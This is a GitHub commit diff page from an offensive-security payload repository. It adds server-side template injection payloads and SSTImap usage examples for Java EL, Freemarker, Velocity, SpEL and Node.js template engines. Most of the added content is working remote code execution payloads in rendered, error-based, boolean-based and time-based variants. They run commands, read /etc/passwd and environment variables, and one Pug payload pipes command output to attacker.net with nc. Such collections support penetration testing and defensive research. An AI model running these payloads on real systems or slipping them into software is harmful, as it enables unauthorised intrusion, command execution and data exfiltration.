Skip to content

Commit a711494

Browse files
authored
Merge pull request swisskyrepo#812 from vladko312/master
New SSTI payloads for Error-Based and Boolean-Based techniques
2 parents 45661ef + 08b5c4c commit a711494

File tree

12 files changed

+408
-97
lines changed

12 files changed

+408
-97
lines changed

Server Side Include Injection/README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,21 @@
44
55
## Summary
66

7+
* [Tools](#tools)
78
* [Methodology](#methodology)
89
* [Edge Side Inclusion](#edge-side-inclusion)
910
* [References](#references)
1011

12+
## Tools
13+
14+
* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI`
15+
16+
```bash
17+
python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
18+
python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
19+
python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
20+
```
21+
1122
## Methodology
1223

1324
SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.
5.26 KB
Loading
6.81 KB
Loading
5.04 KB
Loading
4.27 KB
Loading
4.63 KB
Loading

Server Side Template Injection/Java.md

Lines changed: 80 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,15 @@
55
## Summary
66

77
- [Templating Libraries](#templating-libraries)
8-
- [Java](#java)
9-
- [Java - Basic Injection](#java---basic-injection)
10-
- [Java - Retrieve Environment Variables](#java---retrieve-environment-variables)
11-
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
8+
- [Java EL](#java-el)
9+
- [Java EL - Basic Injection](#java-el---basic-injection)
10+
- [Java EL - Code Execution](#java-el---code-execution)
1211
- [Freemarker](#freemarker)
1312
- [Freemarker - Basic Injection](#freemarker---basic-injection)
1413
- [Freemarker - Read File](#freemarker---read-file)
1514
- [Freemarker - Code Execution](#freemarker---code-execution)
1615
- [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)
1716
- [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
18-
- [Codepen](#codepen)
1917
- [Jinjava](#jinjava)
2018
- [Jinjava - Basic Injection](#jinjava---basic-injection)
2119
- [Jinjava - Command Execution](#jinjava---command-execution)
@@ -32,27 +30,31 @@
3230
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
3331
- [Spring Expression Language](#spring-expression-language)
3432
- [SpEL - Basic Injection](#spel---basic-injection)
33+
- [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables)
34+
- [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd)
3535
- [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
3636
- [SpEL - Session Attributes](#spel---session-attributes)
3737
- [SpEL - Command Execution](#spel---command-execution)
3838
- [References](#references)
3939

4040
## Templating Libraries
4141

42-
| Template Name | Payload Format |
43-
| ------------ | --------- |
44-
| Codepen | `#{}` |
45-
| Freemarker | `${3*3}`, `#{3*3}`, `[=3*3]` |
46-
| Groovy | `${9*9}` |
47-
| Jinjava | `{{ }}` |
48-
| Pebble | `{{ }}` |
49-
| Spring | `*{7*7}` |
50-
| Thymeleaf | `[[ ]]` |
51-
| Velocity | `#set($X="") $X` |
42+
| Template Name | Payload Format |
43+
|---------------|------------------------|
44+
| Codepen | `#{ }` |
45+
| Freemarker | `${ }`, `#{ }`, `[= ]` |
46+
| Groovy | `${ }` |
47+
| Jinjava | `{{ }}` |
48+
| Pebble | `{{ }}` |
49+
| Spring | `*{ }` |
50+
| Thymeleaf | `[[ ]]` |
51+
| Velocity | `#set($X="") $X` |
5252

53-
## Java
53+
## Java EL
5454

55-
### Java - Basic Injection
55+
### Java EL - Basic Injection
56+
57+
Java has multiple Expression Languages using similar syntax.
5658

5759
> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
5860
@@ -64,18 +66,14 @@ ${class.getResource("").getPath()}
6466
${class.getResource("../../../../../index.htm").getContent()}
6567
```
6668

67-
### Java - Retrieve Environment Variables
68-
69-
```java
70-
${T(java.lang.System).getenv()}
71-
```
72-
73-
### Java - Retrieve /etc/passwd
69+
### Java EL - Code Execution
7470

7571
```java
76-
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
72+
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE
73+
${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE
74+
${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE
75+
${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE
7776

78-
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
7977
```
8078

8179
---
@@ -110,6 +108,10 @@ Convert the returned bytes to ASCII
110108
${"freemarker.template.utility.Execute"?new()("id")}
111109
#{"freemarker.template.utility.Execute"?new()("id")}
112110
[="freemarker.template.utility.Execute"?new()("id")]
111+
112+
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
113+
${1/((freemarker.template.utility.Execute"?new()("&& echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
114+
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE
113115
```
114116
115117
### Freemarker - Code Execution with Obfuscation
@@ -140,24 +142,6 @@ ${dwf.newInstance(ec,null)("id")}
140142
141143
---
142144
143-
## Codepen
144-
145-
[Official website](https://codepen.io/)
146-
>
147-
148-
```python
149-
- var x = root.process
150-
- x = x.mainModule.require
151-
- x = x('child_process')
152-
= x.exec('id | nc attacker.net 80')
153-
```
154-
155-
```javascript
156-
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
157-
```
158-
159-
---
160-
161145
## Jinjava
162146
163147
[Official website](https://github.com/HubSpot/jinjava)
@@ -275,6 +259,41 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo
275259
#end
276260
```
277261
262+
Error-Based RCE payload:
263+
264+
```java
265+
#set($s="")
266+
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
267+
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
268+
#set($n=$p.waitFor())
269+
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
270+
#include($b)
271+
```
272+
273+
Boolean-Based RCE payload:
274+
275+
```java
276+
#set($s="")
277+
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
278+
#set($n=$p.waitFor())
279+
#set($r=$p.exitValue())
280+
#if($r != 0)
281+
#include("Y:/A:/xxx")
282+
#end
283+
```
284+
285+
Time-Based RCE payload:
286+
287+
```java
288+
#set($s="")
289+
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
290+
#set($n=$p.waitFor())
291+
#set($r=$p.exitValue())
292+
#if($r != 0)
293+
#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
294+
#end
295+
```
296+
278297
---
279298
280299
## Groovy
@@ -340,6 +359,8 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val
340359
341360
## Spring Expression Language
342361
362+
> Java EL payloads also work for SpEL
363+
343364
[Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html)
344365
345366
> The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
@@ -351,6 +372,20 @@ ${7*7}
351372
${'patt'.toString().replace('a', 'x')}
352373
```
353374
375+
### SpEL - Retrieve Environment Variables
376+
377+
```java
378+
${T(java.lang.System).getenv()}
379+
```
380+
381+
### SpEL - Retrieve /etc/passwd
382+
383+
```java
384+
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
385+
386+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
387+
```
388+
354389
### SpEL - DNS Exfiltration
355390
356391
DNS lookup
@@ -421,3 +456,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
421456
- [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
422457
- [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s)
423458
- [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
459+
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)

Server Side Template Injection/JavaScript.md

Lines changed: 61 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -5,31 +5,56 @@
55
## Summary
66

77
- [Templating Libraries](#templating-libraries)
8+
- [Universal Payloads](#universal-payloads)
89
- [Handlebars](#handlebars)
910
- [Handlebars - Basic Injection](#handlebars---basic-injection)
1011
- [Handlebars - Command Execution](#handlebars---command-execution)
1112
- [Lodash](#lodash)
1213
- [Lodash - Basic Injection](#lodash---basic-injection)
1314
- [Lodash - Command Execution](#lodash---command-execution)
15+
- [Pug](#pug)
1416
- [References](#references)
1517

1618
## Templating Libraries
1719

18-
| Template Name | Payload Format |
19-
| ------------ | --------- |
20-
| DotJS | `{{= }}` |
21-
| DustJS | `{}` |
22-
| EJS | `<% %>` |
23-
| HandlebarsJS | `{{ }}` |
24-
| HoganJS | `{{ }}` |
25-
| Lodash | `{{= }}` |
26-
| MustacheJS | `{{ }}` |
27-
| NunjucksJS | `{{ }}` |
28-
| PugJS | `#{}` |
29-
| TwigJS | `{{ }}` |
30-
| UnderscoreJS | `<% %>` |
31-
| VelocityJS | `#=set($X="")$X` |
32-
| VueJS | `{{ }}` |
20+
| Template Name | Payload Format |
21+
|---------------|------------------|
22+
| DotJS | `{{= }}` |
23+
| DustJS | `{ }` |
24+
| EJS | `<% %>` |
25+
| HandlebarsJS | `{{ }}` |
26+
| HoganJS | `{{ }}` |
27+
| Lodash | `{{= }}` |
28+
| MustacheJS | `{{ }}` |
29+
| NunjucksJS | `{{ }}` |
30+
| PugJS | `#{ }` |
31+
| TwigJS | `{{ }}` |
32+
| UnderscoreJS | `<% %>` |
33+
| VelocityJS | `#=set($X="")$X` |
34+
| VueJS | `{{ }}` |
35+
36+
## Universal Payloads
37+
38+
Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.
39+
40+
To use these payloads, wrap them in the appropriate tag.
41+
42+
```javascript
43+
// Rendered RCE
44+
global.process.mainModule.require("child_process").execSync("id").toString()
45+
46+
// Error-Based RCE
47+
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
48+
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
49+
50+
// Boolean-Based RCE
51+
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
52+
53+
// Time-Based RCE
54+
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
55+
```
56+
57+
NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.
3358

3459
## Handlebars
3560

@@ -120,7 +145,28 @@ ${= _.VERSION}
120145
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
121146
```
122147

148+
---
149+
150+
## Pug
151+
152+
> Universal payloads also work for Pug.
153+
154+
[Official website](https://pugjs.org/api/getting-started.html)
155+
>
156+
157+
```javascript
158+
- var x = root.process
159+
- x = x.mainModule.require
160+
- x = x('child_process')
161+
= x.exec('id | nc attacker.net 80')
162+
```
163+
164+
```javascript
165+
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
166+
```
167+
123168
## References
124169

125170
- [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
126171
- [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
172+
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)

0 commit comments

Comments
 (0)